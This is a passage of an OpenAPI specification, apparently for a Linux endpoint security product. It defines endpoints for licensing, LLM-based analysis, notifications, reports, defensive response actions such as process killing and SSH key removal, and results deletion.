retrieved"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"License entry not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get license data","tags":["License"]},"post":{"description":"Adds a license entry.","operationId":"addLicense","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/LicenseAdd"}}},"description":"License json object to insert","required":true},"responses":{"201":{"content":{},"description":"Added"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Add license entry","tags":["License"]},"put":{"description":"Updates a license entry.","operationId":"updateLicense","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/LicenseUpdate"}}},"description":"License json object to update","required":true},"responses":{"201":{"content":{},"description":"Added"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Update license entry","tags":["License"]}},"/license/refresh":{"post":{"description":"Refresh an online license entitlement.","operationId":"refreshLicense","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/License"}}},"description":"License refreshed"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"License entry not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Refresh license entitlement","tags":["License"]}},"/llmanalysis":{"get":{"summary":"Get LLM analyses","description":"Get list of all LLM analyses. The returned list will be in reverse chronological order of modification date. If a hostid, resultid, or artifactid query parameter is supplied, the list will be limited to analyses involving that host, result, or artifact. If more than one is provided, an analysis must match all of them.","operationId":"getLlmAnalyses","tags":["LLM Analysis"],"parameters":[{"description":"number of analyses per page","in":"query","name":"size","required":false,"schema":{"type":"integer","default":100}},{"description":"page number of analyses to retrieve","in":"query","name":"page","required":false,"schema":{"type":"integer","default":1}},{"description":"Host sequence ID to limit list to","in":"query","name":"hostid","required":false,"schema":{"type":"integer"}},{"description":"Result ID to limit list to. Matches analyses requested through the result, and analyses of the artifact the result is about.","in":"query","name":"resultid","required":false,"schema":{"type":"integer"}},{"description":"Artifact ID to limit list to. Matches analyses of the artifact, whether requested on the artifact directly or through one of its results.","in":"query","name":"artifactid","required":false,"schema":{"type":"integer","format":"int64"}}],"responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/ScrollingResponse"}],"properties":{"data":{"description":"List of LLM analyses","items":{"$ref":"#/components/schemas/LlmAnalysisSummary"},"type":"array"}},"required":["data"],"type":"object"}}},"description":"LLM analyses retrieved."},"400":{"description":"A page, size, hostid, resultid, or artifactid query parameter is invalid.","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}},"post":{"summary":"Begin LLM analysis","description":"Begin a new LLM analysis for a host, or for results and/or artifacts.","operationId":"beginLlmAnalysis","tags":["LLM Analysis"],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/LlmAnalysisAdd"}}}},"responses":{"201":{"description":"LLM analysis created.","content":{"application/json":{"schema":{"type":"integer","description":"ID of the newly created LLM analysis."}}}},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request body."},"403":{"description":"LLM integration is not enabled in the server configuration.","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"The host ID, a result ID, or an artifact ID was not found, or an artifact has no results to analyze."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/llmanalysis/bulkdelete":{"post":{"summary":"Bulk delete LLM analyses","description":"Bulk delete LLM analyses. Call is idempotent; will return OK even if LLM analysis ID does not exist.","tags":["LLM Analysis"],"operationId":"deleteLlmAnalysisBulk","requestBody":{"content":{"application/json":{"schema":{"type":"object","properties":{"ids":{"type":"array","items":{"type":"integer","description":"LLM analysis ID to delete."},"description":"LLM analysis IDs to delete."}},"required":["ids"]}}}},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/LlmAnalysis"}}},"description":"LLM analyses deleted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request body."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/llmanalysis/{id}":{"get":{"summary":"Get LLM analysis","description":"Get an LLM analysis, with its metadata and model response(s).","operationId":"getLlmAnalysis","tags":["LLM Analysis"],"parameters":[{"description":"LLM analysis ID to get.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/LlmAnalysis"}}},"description":"LLM analysis retrieved."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid LLM analysis ID in path."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"LLM analysis ID not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}},"delete":{"summary":"Delete LLM analysis","description":"Delete an LLM analysis. Call is idempotent; will return OK even if LLM analysis ID does not exist.","operationId":"deleteLlmAnalysis","tags":["LLM Analysis"],"parameters":[{"description":"LLM analysis ID to delete.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/LlmAnalysis"}}},"description":"LLM analysis deleted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid LLM analysis ID in path."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/llmanalysis/{id}/chat":{"put":{"summary":"Add chat to LLM analysis","description":"Add a new user chat message to an LLM analysis and submit to the model to get a response. The LLM analysis must be in the \"ready\" state.","operationId":"addLlmAnalysisChat","tags":["LLM Analysis"],"parameters":[{"description":"LLM analysis ID to add chat message to.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/LlmAnalysisChatAdd"}}}},"responses":{"202":{"content":{"application/json":{"schema":{"type":"integer","description":"ID of the LLM analysis the chat was added to."}}},"description":"Chat added to LLM analysis."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Bad request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"LLM analysis ID not found."},"409":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"The LLM analysis is not in a state that allows the additional of new chat message."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/llmanalysis/{id}/wait":{"get":{"summary":"Wait for LLM analysis","description":"Wait for an LLM analysis to complete. This endpoint will not return until the requested LLM analysis ID has returned to a \"ready\" or \"error\" state.","tags":["LLM Analysis"],"operationId":"waitLlmAnalysisComplete","parameters":[{"description":"LLM analysis ID to wait for.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"type":"integer","description":"ID of the LLM analysis that completed."}}},"description":"LLM analysis is complete."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid ID parameter in query path."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"LLM analysis ID not found."},"504":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Server timeout; will return after 30 minutes. The client may begin a new wait request to continue waiting."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/llmrequestlog":{"get":{"summary":"Get the AI request log","description":"Get the log of requests sent to LLM providers by AI analysis and AI triage, newest first, with the tokens each one used. Entries are kept for the data retention period, in whole UTC days: with a retention of three days, the log holds the current day so far and the three full days before it.","operationId":"getLlmRequestLog","tags":["LLM Analysis"],"parameters":[{"description":"number of entries per page","in":"query","name":"size","required":false,"schema":{"type":"integer","default":100,"minimum":1,"maximum":10000}},{"description":"page number of entries to retrieve","in":"query","name":"page","required":false,"schema":{"type":"integer","default":1,"minimum":1}}],"responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/ScrollingResponse"}],"properties":{"data":{"description":"AI request log entries","items":{"$ref":"#/components/schemas/LlmRequestLogEntry"},"type":"array"}},"required":["data"],"type":"object"}}},"description":"AI request log retrieved."},"400":{"description":"Page or size query parameter is invalid.","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/notifications":{"get":{"summary":"Get notifications","description":"Get a list of all event notification configurations.","operationId":"getNotifications","responses":{"200":{"description":"Notifications retrieved.","content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/TotalledResponse"}],"type":"object","properties":{"data":{"$ref":"#/components/schemas/NotificationSummaries"}}}}}},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Notifications"]},"post":{"summary":"Create notification","description":"Create a new event notification configuration.","operationId":"notificationAdd","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/Notification"}}}},"responses":{"201":{"content":{"application/json":{"schema":{"type":"integer","description":"The ID of the new notification."}}},"description":"Notification created."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request body."},"402":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Cannot create new notification because the number of allowed notifications by the license has been reached."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User is not permitted to perform this action."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Notifications"]}},"/notifications/{id}":{"get":{"summary":"Get notification details","description":"Get details of an event notification configuration.","operationId":"getNotification","parameters":[{"description":"Notification ID to get.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/Notification"}}},"description":"Notification retrieved."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User is not permitted to perform this action."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Notification configuration not found."}},"tags":["Notifications"]},"put":{"summary":"Update notification","description":"Change an existing event notification configuration.","operationId":"updateNotification","parameters":[{"description":"Notification ID to replace.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/Notification"}}}},"responses":{"200":{"content":{"application/json":{"schema":{"type":"integer","description":"The ID of the updated notification."}}},"description":"Notification updated."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request body."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User is not permitted to perform this action."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Notifications"]},"delete":{"summary":"Delete notification","description":"Delete an event notification configuration.","operationId":"deleteNotification","parameters":[{"description":"Notification ID to delete.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Notification deleted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid delete request (e.g. non-integer ID in request)."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User is not permitted to perform this action."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Notifications"]}},"/notifications/test/{id}":{"post":{"summary":"Test notification","description":"Attempt to send a test notification.","operationId":"testNotification","parameters":[{"description":"Notification ID to test.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Notification test was sent successfully."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User is not permitted to perform this action."},"409":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"The test was not successful. Error details are in the response message."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Notifications"]}},"/notifications/pause/":{"put":{"description":"Pauses notifications by ID.","summary":"Pause notifications","operationId":"pauseNotifications","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/NotificationIDs"}}},"description":"List of notification_ids to pause.","required":true},"responses":{"200":{"content":{},"description":"Notifications paused."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Notifications"]}},"/notifications/unpause/":{"put":{"description":"Unpauses notifications by ID.","summary":"Unpause notifications","operationId":"unpauseNotifications","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/NotificationIDs"}}},"description":"List of notification_ids to unpause.","required":true},"responses":{"200":{"content":{},"description":"Notifications unpaused."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Notifications"]}},"/notifications/pause/{id}":{"put":{"description":"Pause a notification.","operationId":"pauseNotification","parameters":[{"description":"notification ID to pause","in":"path","name":"id","required":true,"schema":{"format":"integer"}}],"responses":{"200":{"content":{},"description":"Notification paused"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Pause notification","tags":["Notifications"]}},"/notifications/unpause/{id}":{"put":{"description":"Unpause a notification.","operationId":"unpauseNotification","parameters":[{"description":"notification ID to unpause","in":"path","name":"id","required":true,"schema":{"format":"integer"}}],"responses":{"200":{"content":{},"description":"Notification unpaused"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Unpause notification","tags":["Notifications"]}},"/reports/host_snapshot":{"get":{"description":"Host snapshot report.","summary":"Host snapshot report","operationId":"getHostSnapshot","responses":{"200":{"description":"Get snapshot successful.","content":{"application/json":{"schema":{"$ref":"#/components/schemas/HostSnapshot"}}}},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Reports"]}},"/reports/scan_performance":{"get":{"parameters":[{"description":"Scan performance from X date-time.","in":"query","name":"begin","required":false,"schema":{"format":"date-time","type":"string"}},{"description":"Scan performance to X date-time.","in":"query","name":"end","required":false,"schema":{"format":"date-time","type":"string"}},{"description":"Limit results to 100 days.","in":"query","name":"limit","required":false,"schema":{"type":"boolean"}}],"description":"Scan performance report.","summary":"Scan performance report","operationId":"getScanPerformance","responses":{"200":{"description":"Get scan performance successful.","content":{"application/json":{"schema":{"$ref":"#/components/schemas/ScanPerformanceReport"}}}},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Reports"]}},"/reports/llm_usage":{"get":{"summary":"AI usage report","description":"The AI request log (see `/llmrequestlog`) totalled by UTC day, provider and model, newest day first, for every day the log holds, with AI analysis and AI triage totalled separately. The oldest day is always a complete day; the newest is the current day so far.","operationId":"getLlmUsageReport","tags":["Reports"],"responses":{"200":{"content":{"application/json":{"schema":{"properties":{"data":{"$ref":"#/components/schemas/LlmUsageReport"}},"required":["data"],"type":"object"}}},"description":"AI usage report retrieved."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/responseaction/result/{id}/{action}":{"post":{"deprecated":true,"description":"Deprecated: use POST /responseaction/artifact/{id}/{action}, passing the result's artifact_id. Initiates a response action from an existing result. The action is taken against the artifact the result is about, exactly as POST /responseaction/artifact/{id}/{action} would, and the action log records both the artifact and the result it was requested through. For process actions (process_kill, process_suspend, process_resume, process_retrieve), the result must contain process data with a SHA-512 hash. For file_retrieve, the result must contain a file path (from file, cron, or at job engines). Requires the responder role. Can be disabled server-wide with SF_DISABLE_RESPONSES and at the node level with SF_NODE_DISABLE_RESPONSES.\n\nReturns a ResponseActionResponse in both the queued (HTTP 202) and cached-fulfillment (HTTP 200, retrieve actions only) cases.","operationId":"dispatchResultAction","parameters":[{"description":"Numeric result ID to act on.","in":"path","name":"id","required":true,"schema":{"format":"int64","type":"integer"}},{"description":"Action to perform. Process actions require a process result; file_retrieve requires a result with a file path.","in":"path","name":"action","required":true,"schema":{"oneOf":[{"$ref":"#/components/schemas/ResponseActionTypeResult"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ResponseActionResponse"}}},"description":"Retrieve action fulfilled immediately from a previously cached blob (matched by SHA-512 hash). No scan was dispatched; an action log entry was recorded as successful and references the existing blob via the order's data_hash field."},"202":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ResponseActionResponse"}}},"description":"Action queued for execution."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid action type, result does not contain the required data (process or file path), host is inactive, or host no longer exists."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User does not have the responder role, or response actions are disabled on the server (SF_DISABLE_RESPONSES=true)."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result ID does not exist."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Perform response action on a process result","tags":["Response Actions"]}},"/responseaction/artifact/{id}/{action}":{"post":{"description":"Initiates a response action against an existing artifact. For process actions (process_kill, process_suspend, process_resume, process_retrieve), the artifact must contain process data with a SHA-512 hash. For file_retrieve, the artifact must contain a file path (from file, cron, or at job engines). Requires the responder role. Can be disabled server-wide with SF_DISABLE_RESPONSES and at the node level with SF_NODE_DISABLE_RESPONSES.\n\nReturns a ResponseActionResponse in both the queued (HTTP 202) and cached-fulfillment (HTTP 200, retrieve actions only) cases.","operationId":"dispatchArtifactAction","parameters":[{"description":"Numeric artifact ID to act on.","in":"path","name":"id","required":true,"schema":{"format":"int64","type":"integer"}},{"description":"Action to perform. Process actions require a process artifact; file_retrieve requires an artifact with a file path.","in":"path","name":"action","required":true,"schema":{"oneOf":[{"$ref":"#/components/schemas/ResponseActionTypeResult"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ResponseActionResponse"}}},"description":"Retrieve action fulfilled immediately from a previously cached blob (matched by SHA-512 hash). No scan was dispatched; an action log entry was recorded as successful and references the existing blob via the order's data_hash field."},"202":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ResponseActionResponse"}}},"description":"Action queued for execution."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid action type, artifact does not contain the required data (process or file path), host is inactive, or host no longer exists."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User does not have the responder role, or response actions are disabled on the server (SF_DISABLE_RESPONSES=true)."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Artifact ID does not exist."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Perform response action on an artifact","tags":["Response Actions"]}},"/responseaction/sshpubkey/{keyid}/{action}":{"post":{"description":"Performs an SSH key response action (remove or deduplicate) across all hosts and users where the key is deployed. Requires the responder role. Creates one order per affected host, each containing one action per affected user. Can be disabled server-wide with SF_DISABLE_RESPONSES and at the node level with SF_NODE_DISABLE_RESPONSES. For 'remove' actions, a last-key protection safety check denies the request with HTTP 409 if any affected host would be left with zero SSH keys known to Sandfly; set allow_last_key_removal=true in the request body to override.","operationId":"dispatchSshKeyAction","parameters":[{"description":"SSH public key ID (integer) from SSH Hunter.","in":"path","name":"keyid","required":true,"schema":{"format":"int32","type":"integer"}},{"description":"Action to perform: 'sshkey_remove' deletes all copies, 'sshkey_dedup' removes duplicates leaving one copy.","in":"path","name":"action","required":true,"schema":{"$ref":"#/components/schemas/ResponseActionTypeSshNonCached"}}],"requestBody":{"required":false,"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SSHKeyActionRequest"}}}},"responses":{"202":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ResponseActionResponse"}}},"description":"Action queued for execution across all affected hosts."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Key has no stored value, no active hosts available, or no active placements found."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User does not have the responder role, or response actions are disabled on the server."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"SSH public key ID does not exist, or no active placements found."},"409":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SSHKeyLastKeyProtectionResponse"}}},"description":"Last-key protection: the remove action would leave one or more hosts with no SSH keys known to Sandfly. The response body identifies the affected hosts and users. Set allow_last_key_removal=true in the request body to override."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Remove or deduplicate an SSH key across all hosts","tags":["Response Actions"]}},"/responseaction/sshpubkey/{keyid}/{action}/host/{host_sequence_id}":{"post":{"description":"Performs an SSH key response action on a specific host for all users that have the key. Requires the responder role. For 'remove' actions, a last-key protection safety check denies the request with HTTP 409 if the host would be left with zero SSH keys known to Sandfly; set allow_last_key_removal=true in the request body to override.","operationId":"dispatchSshKeyHostAction","parameters":[{"description":"SSH public key ID (integer) from SSH Hunter.","in":"path","name":"keyid","required":true,"schema":{"format":"int32","type":"integer"}},{"description":"Action to perform: 'sshkey_remove' or 'sshkey_dedup'.","in":"path","name":"action","required":true,"schema":{"$ref":"#/components/schemas/ResponseActionTypeSshNonCached"}},{"description":"Host sequence ID to target.","in":"path","name":"host_sequence_id","required":true,"schema":{"format":"int32","type":"integer"}}],"requestBody":{"required":false,"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SSHKeyActionRequest"}}}},"responses":{"202":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ResponseActionResponse"}}},"description":"Action queued for the specified host."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Key has no stored value, host is inactive, or no placements found."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Insufficient role or response actions disabled."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Key or host not found, or no active placements."},"409":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SSHKeyLastKeyProtectionResponse"}}},"description":"Last-key protection: the remove action would leave the host with no SSH keys known to Sandfly. The response body identifies the affected host and users. Set allow_last_key_removal=true in the request body to override."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Remove or deduplicate an SSH key on a specific host","tags":["Response Actions"]}},"/responseaction/sshpubkey/{keyid}/{action}/host/{host_sequence_id}/user/{username}":{"post":{"description":"Performs an SSH key response action for a specific user on a specific host. Requires the responder role. For 'remove' actions, a last-key protection safety check denies the request with HTTP 409 if the host would be left with zero SSH keys known to Sandfly after removing the key for this user; set allow_last_key_removal=true in the request body to override.","operationId":"dispatchSshKeyHostUserAction","parameters":[{"description":"SSH public key ID (integer) from SSH Hunter.","in":"path","name":"keyid","required":true,"schema":{"format":"int32","type":"integer"}},{"description":"Action to perform: 'sshkey_remove' or 'sshkey_dedup'.","in":"path","name":"action","required":true,"schema":{"$ref":"#/components/schemas/ResponseActionTypeSshNonCached"}},{"description":"Host sequence ID to target.","in":"path","name":"host_sequence_id","required":true,"schema":{"format":"int32","type":"integer"}},{"description":"Username on the target host.","in":"path","name":"username","required":true,"schema":{"type":"string"}}],"requestBody":{"required":false,"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SSHKeyActionRequest"}}}},"responses":{"202":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ResponseActionResponse"}}},"description":"Action queued for the specified user on the specified host."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Key has no stored value, host is inactive, or no placements found."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Insufficient role or response actions disabled."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Key, host, or user placement not found."},"409":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SSHKeyLastKeyProtectionResponse"}}},"description":"Last-key protection: removing the key for this user would leave the host with no SSH keys known to Sandfly. The response body identifies the affected host and user. Set allow_last_key_removal=true in the request body to override."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Remove or deduplicate an SSH key for a specific user on a specific host","tags":["Response Actions"]}},"/responseaction/log":{"get":{"description":"Returns a paginated list of response action log entries, ordered by request time descending. Includes a summary of each action without the bulky source result and action result JSON blobs.","operationId":"getResponseActionLog","parameters":[{"description":"Page number (1-indexed). Defaults to 1.","in":"query","name":"page","required":false,"schema":{"type":"integer"}},{"description":"Page size (1-10000). Defaults to 100.","in":"query","name":"size","required":false,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ResponseActionLogList"}}},"description":"Paginated list of response action log entries."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"List response action log entries","tags":["Response Actions"]}},"/responseaction/log/{id}":{"get":{"description":"Returns a single response action log entry by action ID, including the source result JSON and action result JSON.","operationId":"getResponseActionLogEntry","parameters":[{"description":"Action ID.","in":"path","name":"id","required":true,"schema":{"type":"integer","format":"int64"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ResponseActionLogEntry"}}},"description":"Response action log entry."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Action ID does not exist."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get response action log entry","tags":["Response Actions"]}},"/responseaction/log/{id}/data":{"delete":{"description":"Delete the data blob associated with a process retrieve or file retrieve action from the database.","operationId":"deleteResponseActionLogEntryData","parameters":[{"description":"Action ID.","in":"path","name":"id","required":true,"schema":{"type":"integer","format":"int64"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Data flagged for deletion."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User does not have the required role."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Action ID does not exist."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete file associated with retrieve action","tags":["Response Actions"]}},"/responseaction/data/{hash}":{"get":{"description":"Downloads the binary blob retrieved by a response action (process binary or file). Identified by SHA-512 content hash. Multiple action log entries may reference the same blob. Requires the responder role.","operationId":"getBinary","parameters":[{"description":"SHA-512 content hash of the blob (hex-encoded).","in":"path","name":"hash","required":true,"schema":{"type":"string"}}],"responses":{"200":{"content":{"application/octet-stream":{"schema":{"type":"string","format":"binary"}}},"description":"Binary blob."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"User does not have the responder role."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"No data found for the given hash."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Download a retrieved binary blob by hash","tags":["Response Actions"]}},"/results":{"delete":{"description":"Deletes results, selected by a filter, by a time, or by an explicit list of result IDs; exactly one of the three may be used.\n\nA filter with no items deletes every result. A filter whose conditions all have empty values narrows nothing, so it is rejected with a 400 rather than treated as a request to delete everything.","operationId":"deleteResults","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ResultsDelete"}}},"description":"Results search delete parameters.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/Results"}}},"description":"Status of results found"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"No results found"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete results","tags":["Results"]},"post":{"description":"Gets all of the 